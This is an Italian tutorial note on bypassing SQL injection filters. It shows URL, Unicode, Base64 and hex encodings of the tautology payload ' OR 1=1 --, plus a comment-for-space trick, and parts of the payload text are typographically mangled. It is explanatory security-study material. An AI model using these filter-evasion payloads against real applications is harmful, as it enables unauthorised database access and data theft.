tags: Encoding_SQL_Query sql_injection SQL_Cifrati
Tipi di Encoding Comuni:
-
URL Encoding:
-
I caratteri speciali vengono sostituiti con la loro rappresentazione in formato percentuale (
%seguito da due cifre esadecimali). -
Esempi:
-
'diventa%27 -
"diventa%22 -
#diventa%23 -
--diventa%2D%2D
-
-
Esempio di payload:
%27 OR 1=1 —
-
-
Unicode Encoding:
-
I caratteri vengono rappresentati in formato Unicode (ad esempio,
'può essere rappresentato come\u0027). -
Esempio di payload:
\u0027 OR 1=1 —
-
-
Base64 Encoding:
-
L’intera query SQL può essere codificata in Base64 e poi decodificata lato server.
-
Esempio:
-
La stringa
' OR 1=1 --codificata in Base64 diventaJyBPUiAxPTEgLS0=. -
Se il server decodifica l’input, potrebbe eseguire la query.
-
-
-
Hex Encoding:
-
I caratteri vengono rappresentati in formato esadecimale.
-
Esempio:
' OR 1=1 --in esadecimale diventa0x27204f5220313d31202d2d20.
-
Come Funziona:
-
L’attaccante inserisce il payload codificato nel campo di input.
-
Se il server non sanitizza correttamente l’input codificato, il database potrebbe interpretare il payload come una query SQL valida.
Esempi Pratici di Bypass con Encoding e Commenti
Ecco alcuni esempi di come queste tecniche possono essere combinate per bypassare i filtri di sanitizzazione:
Esempio 1: Bypass con URL Encoding e Commenti
-
Supponiamo che il server blocchi gli apici singoli (
') e i commenti (--). -
L’attaccante può usare URL Encoding per rappresentare questi caratteri:
%27 OR 1=1 %2D%2D
Questo payload equivale a:
’ OR 1=1 —
Esempio 2: Bypass con Unicode Encoding e Commenti
-
Se il server blocca i caratteri speciali, l’attaccante può usare Unicode Encoding:
\u0027 OR 1=1 \u002D\u002D
Questo payload equivale a:
’ OR 1=1 —
Esempio 3: Bypass con Commenti e Funzioni SQL
-
Se il server blocca gli spazi, l’attaccante può usare commenti per separare le parole:
‘//OR//1=1/**/—
Questo payload equivale a:
’ OR 1=1 —